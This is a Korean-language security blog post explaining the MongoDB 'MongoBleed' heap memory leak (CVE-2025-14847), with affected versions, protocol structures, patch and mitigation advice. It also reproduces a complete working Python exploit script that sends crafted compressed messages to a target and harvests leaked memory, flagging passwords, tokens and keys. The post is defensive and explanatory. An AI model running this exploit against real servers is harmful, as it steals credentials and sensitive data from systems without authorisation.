1. MongoDB

- 데이터를 테이블이 아닌 Document 단위 (JSON 형식의 데이터)로 저장하는 NoSQL(Not Only SQL) 데이터베이스 [1]

2. 취약점

[사진 1] CVE-2025-14847 [2]

- zlib 기반 네트워크 압축을 처리하는 과정에서, 압축 프로토콜 헤더의 길이 값이 서로 불일치하는 비정상 메시지를 제대로 다루지 못해 초기화되지 않은 힙 메모리 영역이 노출될 수 있는 취약점 [3][4]

인증 없이 DB에 연결만 해도 원격에서 서버 메모리(힙) 일부가 유출될 수 있어 계정 정보·비밀번호·API 키 등 민감정보 노출 가능성 존재

※ 버그는 2017년 5월 도입된 RP에서 도입되었으며 25.12.19 공식적으로 공개

영향받는 버전
MongoDB
- 8.2.0 이상 ~ 8.2.3 미만
- 8.0.0 이상 ~ 8.0.17 미만
- 7.0.0 이상 ~ 7.0.28 미만
- 6.0.0 이상 ~ 6.0.27 미만
- 5.0.0 이상 ~ 5.0.32 미만
- 4.4.0 이상 ~ 4.4.30 미만
- 모든 v4.2 버전
- 모든 v4.0 버전
- 모든 v3.6 버전

 

- MongoDB는 HTTP 대신 자체 TCP 프로토콜을 사용하며, 메시지는 BSON(Binary JSON, 바이너리 형태로 데이터를 직렬화하는 형식) 형식으로 전송됨 [5][6][7]

> 모든 요청은 OP_MSG 명령으로 구성되며, 압축된 메시지가 전송될 때 OP_COMPRESSED 구조체로 래핑됨

> uncompressedSize필드압축 해제 후 페이로드의 크기를 나타내며, 해당 값에 대한 유효성 검사가 없어 값을 조작하여 초기화되지 않은 힙 메모리로 채워진 과도하게 큰 버퍼를 할당 가능

※ 유출된 메모리에는 이전에 힙을 차지했던 내용에 따라, 비밀번호, 자격 증명, API 키 등의 민감 데이터 조각이 포함될 수 있음

struct OP_COMPRESSED {
    struct MsgHeader {
        int32  messageLength;
        int32  requestID;
        int32  responseTo;
        int32  opCode;
    };
    int32_t  originalOpcode;
    int32_t  uncompressedSize;
    uint8_t  compressorId;
    char     *compressedMessage;
};

 

2.1 Exploit Part 1 : 잘못된 버퍼 할당

- 공격자는 uncompressedSize 값을 실제보다 과도하게 큰 값으로 설정해 서버가 큰 버퍼를 할당하도록 만듦

> 실제 1KB 크기의 메시지를 1MB로 선언

> 서버는 압축 해제 후 페이로드의 실제 크기(1KB)를 검증하지 않고 사용자 입력(1MB)를 신뢰

> C++ 기반 MongoDB는 메모리 초기화를 수행하지 않기 때문에, 이전 작업의 민감 데이터가 포함될 수 있음

[ 1KB of REAL DATA |             999KB of UNREFERENCED HEAP GARBAGE               ]
                                  ↑                                                                                                       ↑
                   actual length (1KB)                                                                      user input length (1MB)

 

2.2 Exploit Part 2 : 데이터 유출

- 공격자는 잘못된 BSON 데이터를 전송해 서버가 메모리의 쓰레기 데이터를 파싱하도록 유도

> BSON의 첫 필드는 문자열이며, C언어의 널 종료 문자열 (null-terminated strings) 규칙을 따

> 널 종료 문자열 (\0)이 없는 문자열을 보내면, 메모리 버퍼에서 첫 번째 널 종료 문자(\0)를 찾을 때까지 데이터를 읽음

> 해당 과정을 반복 힙 메모리 전체를 스캔하며 민강 정보 수집 가능

# Conceptual
[ REAL DATA   |   UNREFERENCED HEAP GARBAGE ]

# Practical Example : 메모리에는 실제 데이터 a와 이전 작업의 민감 데이터가 함께 포함된 상태
[ { "a                 | password: 123\0 | apiKey: jA2sa | ip: 219.117.127.202 ]

# Error MSG : 서버는 메모리내 널 종료 문자열(\0)를 찾을 때까지 데이터를 읽어 오류 메시지에 해당 내용을 포함하여 응답
{
   "ok": 0,
   "errmsg": "invalid BSON field name 'a | password: 123'",
   "code": 2,
   "codeName": "BadValue"
}

 

[사진 2] 취약점 악용 개요

2.3 PoC

- 조작된 uncompressedSize 값과 BSON 데이터를 포함하는 압축 메시지 전송 [8]

#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit

Author: Joe Desimone - x.com/dez_

Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""

import socket
import struct
import zlib
import re
import argparse

def send_probe(host, port, doc_len, buffer_size):
    """Send crafted BSON with inflated document length"""
    # Minimal BSON content - we lie about total length
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content
    
    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)
    
    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size
    payload += struct.pack('B', 2)  # zlib
    payload += compressed
    
    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
    
    try:
        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((host, port))
        sock.sendall(header + payload)
        
        response = b''
        while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        return response
    except:
        return b''

def extract_leaks(response):
    """Extract leaked data from error response"""
    if len(response) < 25:
        return []
    
    try:
        msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]
    except:
        return []
    
    leaks = []
    
    # Field names from BSON errors
    for match in re.finditer(rb"field name '([^']*)'", raw):
        data = match.group(1)
        if data and data not in [b'?', b'a', b'$db', b'ping']:
            leaks.append(data)
    
    # Type bytes from unrecognized type errors
    for match in re.finditer(rb"type (\d+)", raw):
        leaks.append(bytes([int(match.group(1)) & 0xFF]))
    
    return leaks

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()
    
    print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
    print(f"[*] Author: Joe Desimone - x.com/dez_")
    print(f"[*] Target: {args.host}:{args.port}")
    print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    print()
    
    all_leaked = bytearray()
    unique_leaks = set()
    
    for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)
        
        for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)
                
                # Show interesting leaks (> 10 bytes)
                if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
    
    # Save results
    with open(args.output, 'wb') as f:
        f.write(all_leaked)
    
    print()
    print(f"[*] Total leaked: {len(all_leaked)} bytes")
    print(f"[*] Unique fragments: {len(unique_leaks)}")
    print(f"[*] Saved to: {args.output}")
    
    # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

if __name__ == '__main__':
    main()

 

[영상 1] 취약점 시연 [9]

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11][12]

> OP_COMPRESSED BSON에 제공된 값을 그대로 사용하는 대신, 출력 크기로부터 메시지 크기를 계산

> 이를 통해 실제 메시지 크기 이상의 추가 메모리가 할당되지 않도록 함

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-14847 MongoDB 8.2.0 이상 ~ 8.2.3 미만 8.2.3
8.0.0 이상 ~ 8.0.17 미만 8.0.17
7.0.0 이상 ~ 7.0.28 미만 7.0.28
6.0.0 이상 ~ 6.0.27 미만 6.0.27
5.0.0 이상 ~ 5.0.32 미만 5.0.32
4.4.0 이상 ~ 4.4.30 미만 4.4.30
모든 v4.2 버전 해결 버전으로 마이그레이션
(4.4.30)
모든 v4.0 버전
모든 v3.6 버전

※ v3.6 버전, v4.0 버전, v4.2 버전은 EOL

 

- 업데이트 적용이 불가할 경우

> zlib 압축 비활성화

※ mongod 또는 mongos 실행 시 networkMessageCompressors 또는 net.compression.compressors 옵션에서 zlib을 명시적으로 제외

> MongoDB 서버 외부 노출 최소화

※ 방화벽·보안그룹·접근제어를 통해 데이터베이스가 신뢰된 애플리케이션 경로에서만 연결 허용

> 이상 접속과 트래픽 패턴 점검 및 필요 시 데이터베이스 접근 자격증명, 토큰 교체

> 탐지도구 활용을 통한 취약점 식별 [13]

4. 참고

[1] https://www.mongodb.com/ko-kr
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-14847
[3] https://www.akamai.com/blog/security-research/cve-2025-14847-all-you-need-to-know-about-mongobleed
[4] https://bigdata.2minutestreaming.com/p/mongobleed-explained-simply
[5] https://www.mongodb.com/ko-kr/docs/manual/reference/bson-types/
[6] https://velog.io/@wndbsgkr/MongoDB%EC%9D%98-BSON%EC%97%90-%EB%8C%80%ED%95%B4-%EC%95%84%EC%8B%9C%EB%82%98%EC%9A%94
[7] https://velog.io/@chayezo/MongoDB-JSON-vs.-BSON
[8] https://github.com/joe-desimone/mongobleed
[9] https://www.rapid7.com/blog/post/etr-mongobleed-cve-2025-1484-critical-memory-leak-in-mongodb-allowing-attackers-to-extract-sensitive-data/
[10] https://jira.mongodb.org/browse/SERVER-115508
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71931
[12] https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728
[13] https://github.com/Neo23x0/mongobleed-detector
[14] https://blog.ecapuano.com/p/hunting-mongobleed-cve-2025-14847
[15] https://www.dailysecu.com/news/articleView.html?idxno=203786
[16] https://news.hada.io/topic?id=25422

+ Recent posts